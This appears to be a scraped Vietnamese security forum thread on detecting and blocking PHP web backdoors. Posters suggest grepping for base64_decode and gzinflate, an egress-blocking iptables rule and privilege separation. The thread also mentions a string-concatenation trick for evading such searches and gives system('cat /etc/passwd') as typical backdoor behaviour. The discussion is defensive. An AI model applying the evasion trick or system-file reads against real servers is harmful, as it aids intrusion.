"dacminhm" wrote:
Với MD5 thì chỉ có hàm md5('password')-->7041159938a3c020ab037179de2fac52 => Chính vì lý do này mà có người nghĩ MD5 chỉ đựoc dùng cho mã hoá password. Tuy MD5 là mã hoá 1 chiều nhưng ta có thể làm như sau: khi mã hoá được đoạn text thì lưu vào database cả đoạn MD5 7041159938a3c020ab037179de2fac52 cùng normal text có thể ánh xạ cho nhau được (cái này thì tuỳ người làm, có thể chia nhỏ cho vào nhiều table khác nhau hay thế nào thì kệ không bàn ở đây). Như vậy khi cần decrypt chỉ cần phép so sánh là xong.  
Bạn lưu cả plaintext vào db thì còn mã hóa làm gì, so sánh làm gì, cứ lấy cái plaintext (mà bạn chia nhỏ vào các table khác nhau) mà sử dụng ? Cái trang mà bạn show ra chẳng qua là vì mục đích nó là tìm plaintext từ md5 hash, khác hẳn mục đích cần che dấu hay bảo mật dữ liệu. wd.]]> /hvaonline/posts/list/39078.html#240276 /hvaonline/posts/list/39078.html#240276 GMT Nhận biết back-door của ứng dụng web truy cập đến nó và truy cập từ nó. Nói cụ thể hơn, một php dùng làm back door chẳng hạn có hai phía connections: 1. Từ trình duyệt của tin tặc đến php đó (client đến cổng 80/443 của dịch vụ web): Trình duyệt:12345 ---> web server:80 2. Từ php đó (sau khi đã biến thành con php shell) ra ngoài để download, upload hoặc include một thứ gì khác (từ máy chủ của dịch vụ web đến một trang web hoặc một máy chủ khác). web server:23456 ---> web server khác:80 Trong trường hợp thứ nhất, việc ngăn cản truy cập đến abc.php nào đó nếu biết trước thì không khó nhưng nếu đó là một file do tin tặc upload lên có một tên ngẫu nhiên hoặc thậm chí ẩn trong một file khác thì cực kỳ khó cản lọc. Đây là việc làm đòi hỏi sắp xếp và phòng chống trước khi xảy ra tình trạng bị upload "shell". Trong trường hợp thứ nhì, việc ngăn cản máy chủ cung cấp dịch vụ web truy cập đến một trang web nào khác là việc cực kỳ đơn giản (nếu máy chủ có hệ thống tường lửa). Ví dụ, nếu dùng Linux và iptables thì 1 luật: iptables -A OUTPUT -s <myip> -p tcp --SYN -d any/0 -j DROP là xong. Máy chủ cung cấp dịch vụ web này không có cách nào tạo ra SYN để truy cập đến một trang khác. Bởi vậy, các phương pháp "INCLUDE" một file nào đó nằm ở một host khác là chuyện không thể xảy ra. Nếu như đụng đến việc "INCLUDE" một file nào khác trên cùng máy chủ và cũng "bị" upload cùng với "shell" thì biện pháp hoàn toàn khác (và hoàn toàn phụ thuộc vào việc sắp xếp và phòng chống ngay từ đầu). ]]> /hvaonline/posts/list/39078.html#240329 /hvaonline/posts/list/39078.html#240329 GMT Nhận biết back-door của ứng dụng web

chiro8x wrote:

FaL wrote:
Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat, Đến đây Fal tổng hợp lại ý kiến của mọi người như sau: 1. quét virus toàn bộ source code nghi ngờ; 2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không; 3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không; 4. config server để chống bypass, LFI; 5. debug code. Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc. Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.  
Việc làm trên dường như quá mất công sức và tốn kém. Theo em cách đơn giản nhất là dùng chương trình bắt gói tin để tóm các gói tin sử dụng phương thức TCP/IP của máy chúng ta khi nó kết nối với máy tính khác, và điều tra từ đó. Đôi lúc backdoor còn được chèn vào database và được "lôi ra" bằng eval (PHP) nên, với lại các đoạn mã phần lớn được ecrypt dưới dạng base64 hoặc nhiều dạng khác tự chế cũng khá phong phú làm các antivirus bó tay. Giải pháp có lẽ là disable các hàm PHP không cần thiết và có thể tác động tới hệ thống, bắt các truy vấn gửi đi từ máy mình. Cố gắng khoanh vùng. Loại bỏ các table nghi vấn chứa backdoor trong database. Còn debug source chắc là thuê người làm thôi ^^! vì nhiều quá một mình làm không hết =)) . 
Vấn đề mà anh comale nói có đề cập đến rồi ! nhưng chưa được chi tiết và tỉ mĩ như anh conmale trình bày. Tiện đây cho em hỏi nếu người xâm nhập sử dụng socket stream để lẫy mã nguồn backdoor được mã hoá từ nơi khác :| chứ không chỉ gói gọn giao thức HTTP hay giao thức TCP/IP (có thể là UDP).]]> /hvaonline/posts/list/39078.html#240331 /hvaonline/posts/list/39078.html#240331 GMT Nhận biết back-door của ứng dụng web

chiro8x wrote:
Vấn đề mà anh comale nói có đề cập đến rồi ! nhưng chưa được chi tiết và tỉ mĩ như anh conmale trình bày. Tiện đây cho em hỏi nếu người xâm nhập sử dụng socket stream để lẫy mã nguồn backdoor được mã hoá từ nơi khác :| chứ không chỉ gói gọn giao thức HTTP hay giao thức TCP/IP (có thể là UDP). 
Khi nói đến socket thì tất cả những gì trong TCP/IP đều có thể cản được. Nói tóm lại, không cho phép bất cứ connection nào được khởi tạo từ máy chủ cung cấp dịch vụ. Máy chủ cung cấp dịch vụ chỉ trả lời cho truy cập chớ không tạo truy cập.]]> /hvaonline/posts/list/39078.html#240334 /hvaonline/posts/list/39078.html#240334 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#240336 /hvaonline/posts/list/39078.html#240336 GMT Nhận biết back-door của ứng dụng web

chiro8x wrote:
Không phải em muốn xoáy người khác đâu, nhưng khi tranh luận một vấn đề thú vị như thế này khó mà ngừng lại được. Còn một vấn đề anh chưa đề cập tới là các kết nối UDP với kết nối UDP thì không có các flag như TCP. Và việc phân biệt ai kết nối tới ai cũng không được vì đây là kết nổi kiểu P-2-P. Vậy em xin hỏi một socket stream sử dụng UDP để lấy backdoor thì ngăn chặn thế nào. Việc ngăn chặn đó có ảnh hưởng tới các service được các server khác cung cấp như DNS và DHCP... hay không :|. @conmale: Em cảm ơn phần giải đáp thoả đáng của anh trước đó. 
Một socket stream nào đó cũng không vượt quá những ấn định của IPv4 hoặc IPv6. Tùy loại tường lửa mình có thể cản từng protocol hoặc tất cả các protocols. P2P hay cái gì đi chăng nữa vẫn không nằm ngòai TCP hoặc UDP. Ngay cả việc tạo tunnel xuyên qua ICMP đi chăng nữa cũng vẫn có thể bị cản một cách dễ dàng. Nói tóm lại: không cho phép bất cứ connection nào được khởi tạo từ máy chủ cung cấp dịch vụ.]]> /hvaonline/posts/list/39078.html#240338 /hvaonline/posts/list/39078.html#240338 GMT Nhận biết back-door của ứng dụng web

conmale wrote:
iptables -A OUTPUT -s <myip> -p tcp --SYN -d any/0 -j DROP  
Hay quá, tiếc là ko có nút thanks. Nhưng còn với OS windows thì dùng firewall loại nào vậy anh?]]> /hvaonline/posts/list/39078.html#240363 /hvaonline/posts/list/39078.html#240363 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#251125 /hvaonline/posts/list/39078.html#251125 GMT Nhận biết back-door của ứng dụng web

vanphuong022 wrote:
Site mình (sử dụng joomla) vừa bị một con back-door kid.php, vì nó đặt tên lạ và đặt ở ngoài root nên nhìn là biết ngay. Lỡ như nó đổi tên giống với các file trong hệ thống (như: error.php hay log_nt.php) và đặt trong một góc nào đó thì cũng khó mà tìm ra. Nó sử dụng base64_decode(), vậy nếu chúng ta dùng cách search chuỗi "base64_decode" thì cũng có thể lọc được một số back-door dạng này, cách này thì ở trên đã có rồi, ngoài ra nó còn dùng gzinflate(). Vậy các bạn có thể search thêm chuỗi "gzinflate" trong source code để tìm kiếm back-door được hiệu quả hơn. PS: có ai từng gặp backdoor kid.php này chưa vậy ? Trong source code có dòng chữ "Developed by [K]id" đó 
vấn đề này đã nói ở trên, đọc kĩ lại đi bạn. cái đoạn mà search http ấy có thể bypass bằng "h"."t"."t"."p" đó ở đây có thể sẽ là "b"."a"."s"."e"."6"."4" ... chẳng hạn :D]]> /hvaonline/posts/list/39078.html#251275 /hvaonline/posts/list/39078.html#251275 GMT Nhận biết back-door của ứng dụng web

conmale wrote:
Tớ theo dõi chủ đề này và đã gần 30 bài thảo luận nhưng vẫn chưa thấy có ai đề cập đến khía cạnh nền tảng để ngăn chặn "back door". Bất cứ một "back door" nào cũng cần có cơ chế truy cập đến nó và truy cập từ nó. Nói cụ thể hơn, một php dùng làm back door chẳng hạn có hai phía connections: 1. Từ trình duyệt của tin tặc đến php đó (client đến cổng 80/443 của dịch vụ web): Trình duyệt:12345 ---> web server:80 2. Từ php đó (sau khi đã biến thành con php shell) ra ngoài để download, upload hoặc include một thứ gì khác (từ máy chủ của dịch vụ web đến một trang web hoặc một máy chủ khác). web server:23456 ---> web server khác:80 Trong trường hợp thứ nhất, việc ngăn cản truy cập đến abc.php nào đó nếu biết trước thì không khó nhưng nếu đó là một file do tin tặc upload lên có một tên ngẫu nhiên hoặc thậm chí ẩn trong một file khác thì cực kỳ khó cản lọc. Đây là việc làm đòi hỏi sắp xếp và phòng chống trước khi xảy ra tình trạng bị upload "shell". Trong trường hợp thứ nhì, việc ngăn cản máy chủ cung cấp dịch vụ web truy cập đến một trang web nào khác là việc cực kỳ đơn giản (nếu máy chủ có hệ thống tường lửa). Ví dụ, nếu dùng Linux và iptables thì 1 luật: iptables -A OUTPUT -s <myip> -p tcp --SYN -d any/0 -j DROP là xong. Máy chủ cung cấp dịch vụ web này không có cách nào tạo ra SYN để truy cập đến một trang khác. Bởi vậy, các phương pháp "INCLUDE" một file nào đó nằm ở một host khác là chuyện không thể xảy ra. Nếu như đụng đến việc "INCLUDE" một file nào khác trên cùng máy chủ và cũng "bị" upload cùng với "shell" thì biện pháp hoàn toàn khác (và hoàn toàn phụ thuộc vào việc sắp xếp và phòng chống ngay từ đầu).  
Giải pháp của anh conmale rất hữu ích nếu mình làm chủ được máy chủ web, nhưng nếu trong trường hợp dùng shared host có lẽ không khả thi. Theo mình có 2 trường hợp cho backdoor hoạt động: 1. (Tạm gọi là) Active: - Client truy cập vào website, giúp đoạn code backdoor hoạt động, gửi thông tin về một máy chủ khác. 2. (Tạm gọi là) Passive: - Hacker ghé thăm 2 website, kiểm tra xem website đó có bị "dính" backdoor của anh ta hay không? Sau đó thao tác gọi backdoor. Với trường hợp 1, việc kiểm tra những request xuất phát từ webserver ra ngoài là việc cần thiết và hiệu quả. Với trường hợp 2, kiểm tra mã nguồn khó khăn hơn rất nhiều. Có thể quét bằng antivirus nhưng bản thân Fal cũng chưa tìm hiểu xem các antivirus sẽ quét những gì trong mã nguồn để phát hiện backdoor, mức độ tin tưởng đến đâu?]]> /hvaonline/posts/list/39078.html#251390 /hvaonline/posts/list/39078.html#251390 GMT Nhận biết back-door của ứng dụng web

FaL wrote:
Giải pháp của anh conmale rất hữu ích nếu mình làm chủ được máy chủ web, nhưng nếu trong trường hợp dùng shared host có lẽ không khả thi. Theo mình có 2 trường hợp cho backdoor hoạt động: 1. (Tạm gọi là) Active: - Client truy cập vào website, giúp đoạn code backdoor hoạt động, gửi thông tin về một máy chủ khác. 2. (Tạm gọi là) Passive: - Hacker ghé thăm 2 website, kiểm tra xem website đó có bị "dính" backdoor của anh ta hay không? Sau đó thao tác gọi backdoor. Với trường hợp 1, việc kiểm tra những request xuất phát từ webserver ra ngoài là việc cần thiết và hiệu quả. Với trường hợp 2, kiểm tra mã nguồn khó khăn hơn rất nhiều. Có thể quét bằng antivirus nhưng bản thân Fal cũng chưa tìm hiểu xem các antivirus sẽ quét những gì trong mã nguồn để phát hiện backdoor, mức độ tin tưởng đến đâu?  
về nguyên tắc thì quét bằng phần mềm diệt virut hoặc phần mềm phân tích mã nguồn sẽ không thể nào nhận biết được tất cả các loại backdoor. bạn nào tìm hiểu về lý thuyết tính toán sẽ thấy bài toán này tương tự như bài toán dừng (halting problem), là một bài toán không máy tính nào giải được. giải pháp mà anh conmale đưa ra là một cách nhận diện thông qua hành vi của backdoor. hành vi kết nối về một máy chủ nào đó có thể sẽ diễn ra hoặc không diễn ra trong quá trình backdoor được kích hoạt. từ đây câu hỏi tự nhiên sẽ là: 1. các backdoor thường có những hành vi nào? 2. làm sao phát hiện được những hành vi đó? đối với câu hỏi số 1, chúng ta cần tìm những hành vi mà càng nhiều backdoor thực hiện càng tốt. mình nghĩ một hành vi tiêu biểu là thực thi một lệnh hệ thống. câu hỏi bây giờ là làm sao phát hiện được khi nào thì backdoor chạy một lệnh, chẳng hạn như system("cat /etc/passwd");? mình nghĩ thiết kế ra một bộ công cụ theo dõi và phát hiện hành vi bất thường là không khó và cũng là điểm đáng để thảo luận tiếp. -m PS: đây là một chủ đề mình nghĩ rất thích hợp cho http://tetcon.org. bạn nào có hứng thú muốn trình bày về đề tài này thì liên hệ với mình. mình sẵn sàng hỗ trợ về mặt định hướng, như đang làm ở đây.]]> /hvaonline/posts/list/39078.html#251408 /hvaonline/posts/list/39078.html#251408 GMT Nhận biết back-door của ứng dụng web backdoor là một phương pháp, cơ chế, phương tiện, ứng dụng nhằm qua mặt cơ chế xác thực để nắm lấy quyền điều khiển. Backdoor trải dài từ tầng kernel đến những cái script đơn giản trên tầng ứng dụng. Đó, sự "nhận biết" xoay quanh khái niệm trên :).]]> /hvaonline/posts/list/39078.html#251426 /hvaonline/posts/list/39078.html#251426 GMT Nhận biết back-door của ứng dụng web

mrro wrote:
về nguyên tắc thì quét bằng phần mềm diệt virut hoặc phần mềm phân tích mã nguồn sẽ không thể nào nhận biết được tất cả các loại backdoor. bạn nào tìm hiểu về lý thuyết tính toán sẽ thấy bài toán này tương tự như bài toán dừng (halting problem), là một bài toán không máy tính nào giải được.  
Mình biết cái này, cụ thể hơn thì đây là một hệ quả của Rice theorem : http://en.wikipedia.org/wiki/Rice's_theorem.]]> /hvaonline/posts/list/39078.html#251446 /hvaonline/posts/list/39078.html#251446 GMT Nhận biết back-door của ứng dụng web

mrro wrote:
PS: đây là một chủ đề mình nghĩ rất thích hợp cho http://tetcon.org. bạn nào có hứng thú muốn trình bày về đề tài này thì liên hệ với mình. mình sẵn sàng hỗ trợ về mặt định hướng, như đang làm ở đây. 
Tớ rất có hứng thú tìm hiểu đến nơi đến chốn về vấn đề này. Có gì mrro và anh conmale giúp đỡ hỗ trợ thêm giúp em nhé!]]> /hvaonline/posts/list/39078.html#251462 /hvaonline/posts/list/39078.html#251462 GMT Nhận biết back-door của ứng dụng web

FaL wrote:

mrro wrote:
PS: đây là một chủ đề mình nghĩ rất thích hợp cho http://tetcon.org. bạn nào có hứng thú muốn trình bày về đề tài này thì liên hệ với mình. mình sẵn sàng hỗ trợ về mặt định hướng, như đang làm ở đây. 
Tớ rất có hứng thú tìm hiểu đến nơi đến chốn về vấn đề này. Có gì mrro và anh conmale giúp đỡ hỗ trợ thêm giúp em nhé! 
Sẵn sàng thôi em :).]]> /hvaonline/posts/list/39078.html#251473 /hvaonline/posts/list/39078.html#251473 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#251492 /hvaonline/posts/list/39078.html#251492 GMT Nhận biết back-door của ứng dụng web theo mình thì đơn giản là xem file log của server để xem từ client execute request ở đâu rồi lần ra. chứ 1 site có cả ngìn file thì việc tìm ra rất khó, đó là chưa tíh đến AVT có quét ra không nữa.   Cần phải có hàng trăm freeeze_love làm việc liên tục 24/7 để đọc log request execute cho hàng trăm site đấy :)]]> /hvaonline/posts/list/39078.html#251497 /hvaonline/posts/list/39078.html#251497 GMT Nhận biết back-door của ứng dụng web

conmale wrote:
Chỉ cần nắm khái niệm tổng quát nhất: backdoor là một phương pháp, cơ chế, phương tiện, ứng dụng nhằm qua mặt cơ chế xác thực để nắm lấy quyền điều khiển. Backdoor trải dài từ tầng kernel đến những cái script đơn giản trên tầng ứng dụng. Đó, sự "nhận biết" xoay quanh khái niệm trên :). 
Nếu chỉ đơn giản là qua mặt việc xác thực, thì phương pháp chống có thể có 1 số mẹo, bằng cách kết hợp việc xác thực nhiều hướng và nhiều "chủ thể" độc lập nhau. Giảm thiểu rủi ro mang lại của việc đó, và tùy thuộc ứng dụng (ở đây là web). Một số cách của tôi nghĩ là có thể giúp ích ít nhiều, áp dụng tùy trường hợp cụ thể, ví dụ trong trường hợp web site tin tức, như sau: - Phần mềm web phải có thể tách thành các module độc lập, ví dụ module view tin tức (public) và module quản trị tin (admin page). Mỗi module có thể liệt kê ra chức năng và mức độ ảnh hưởng nếu bị chui vào "back-door". - Nhốt phần view (ít ảnh hưởng) của PM bằng một phương pháp nào đó sao cho module view không thể đi ra ngoài cái nó thiết kế là hiển thị thông tin trong DB ra. user kết nối DB (ví dụ mysql) chỉ cho view, và chỉ update 1 số bảng nhất định, rồi ngăn chặn việc kết nối ra ngoài, tạo file... bằng SELinux chẳng hạn. Mọi thứ vi phạm giới hạn đều bị cảnh báo cho admin bằng 1 hệ thống độc lập khác. - Nhốt phần webadmin quản trị (ảnh hưởng lớn) vào 1 chỗ khác (server khác chẳng hạn), một là không public chỗ này (tức không truy cập từ ngoài được vào phần đó), hai là phải có 1 cơ chế xác thực bổ sung độc lập: SSL Cert, hoặc VPN (cơ chế bổ sung này không phải do tác giả PM kia làm, mà là 1 tác giả độc lập khác). Phần này thì cho phép kết nối user (mysql) được ghi, sửa, xóa dữ liệu tất cả các bảng. Nói chung nguyên tắc của phương pháp này là không tin tưởng 1 ai tất cả mọi thứ, luôn dùng nhiều hơn 1 công nghệ của các đối tác khác nhau và có khả năng kiểm soát khắc chế nhau. Giống như nguyên tắc luôn khám của ít nhất 3 ông bác sĩ với cùng 1 bệnh của mình. Như trong ví dụ, thì xác thực webadmin của PM do tác giả PM làm, còn xác thực SSL tới trang webadmin đó thì do Apache làm, 2 đơn vị này độc lập nhau và ít ra ta có thể tính rằng rủi ro back-door (về mặt xác thực đối với phần có ảnh hưởng lớn) thỏa mãn cả 2 cùng lúc sẽ thấp hơn nhiều so với 1 ông.]]> /hvaonline/posts/list/39078.html#251518 /hvaonline/posts/list/39078.html#251518 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#263591 /hvaonline/posts/list/39078.html#263591 GMT Nhận biết back-door của ứng dụng web

luongkma wrote:
bạn ơi mình đang có cái đê tài như thế này :Hệ thống máy chủ lưu trữ dữ liệu của công ty đang hoạt động bình thường, tuy nhiên có nghi vấn là hệ thống máy chủ đã bị tấn công, và kẻ tấn công đã cài backdoor lại, đồng thời có thể đã lấy đi nhiều dữ liệu. Công ty muốn xây dựng một giải pháp để hạn chế và tránh được tối đa các hiểm hoạ tương tự trong tương lai. Hãy giải quyết vấn đề hiện tại và đồng thời phân tích và thiết kế một giải pháp tổng thể để đáp ứng được các yêu cầu kể trên. bạn có tl nào gửi cho mình vs  
hix. Câu hỏi của bạn nó bao la quá :( Vậy bạn nên xem tất cả các bài viết trong Box " Thảo Luận Bảo Mật " này đi thì dần dần server của bạn sẽ được bảo mật hơn :D]]> /hvaonline/posts/list/39078.html#263982 /hvaonline/posts/list/39078.html#263982 GMT